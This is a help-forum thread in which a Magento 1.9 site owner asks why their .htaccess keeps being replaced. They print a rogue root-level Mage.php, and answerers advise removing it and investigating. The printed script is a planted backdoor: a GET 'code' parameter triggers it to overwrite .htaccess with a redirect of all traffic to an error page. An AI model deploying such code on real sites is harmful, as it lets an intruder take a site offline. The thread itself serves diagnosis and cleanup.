2

Magento replacing my custom .htaccess file? every time my home page lands in : page is not redirecting. the url was www.example.com/errors/503.php

i would like to make clear there was no maintenance.flag file in root

The Mage.php file which we are discussing here is present in Root directory and not the app/Mage.php

  1. I am using Magento 1.9.0.1 CE
  2. I found PHP script in Mage.php file, which creates .htaccess file with errors/503.php redirect.
  3. even though .htaccess file exist, why the else part of Mage.php file is getting executed?
  4. The newly created .htaccess file contains only redirect to errors/503.php
  5. right now i had changed my .htaccess file permission to 555.

Unable to resolve this. Kindly help me.

Mage.php contains

<?php

if(isset($_GET['code'])) {

$create_name = "/home/buildg8t/public_html/.htaccess";

if (file_exists($create_name)) { 

$htaccess = file_get_contents($create_name);
$rules = "RewriteBase /";

$content_string = "RewriteEngine On\n";

$content_string .= "RewriteBase /\n";

$content_string .= "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";

$content_string .= "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";

file_put_contents($create_name, $content_string);
}
else{

$create_name = "../.htaccess";
$file_handle = fopen($create_name, 'w') or die("Error: Can't open file");
//enter the contents
$content_string = "RewriteEngine On\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteBase /\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";
fwrite($file_handle, $content_string);
// change www.website.com for your website
$content_string = "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";
fwrite($file_handle, $content_string);
//
fclose($file_handle);
}
}
?>
  • Can you share the script you found in Mage.php ? – Prateek Nov 3 '15 at 8:03
  • have you tried with magento default htaccess file – Amit Bera Nov 3 '15 at 8:23
  • yes i have tried default , but my .htaccess file gets replaced with a file which has redirect only to errors/503.php – Vinay Nov 3 '15 at 11:10
1

Code you shared is not from standard Mage.php file. Replace this with one from a default installation and you should be good to go. Although, unless someone placed it intentionally, you should investigate why it managed it's way into your installation.

  • Thank you for your inputs. The Mage.php file which we are talking here is in root folder and not the app/mage.php . I had checked with the magento stock files and there is no Mage.php file exist in root directory. – Vinay Nov 4 '15 at 7:59
  • @user1372453, In that case, you need to check which Mage.php file is being called from your index.php file in root. – Prateek Nov 4 '15 at 9:52
  • no its calling only app/Mage.php – Vinay Nov 4 '15 at 12:14
  • Try removing that extra Mage.php file from your server, some external process can hit that, replacing your current .htaccess file. – Prateek Nov 4 '15 at 13:31

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.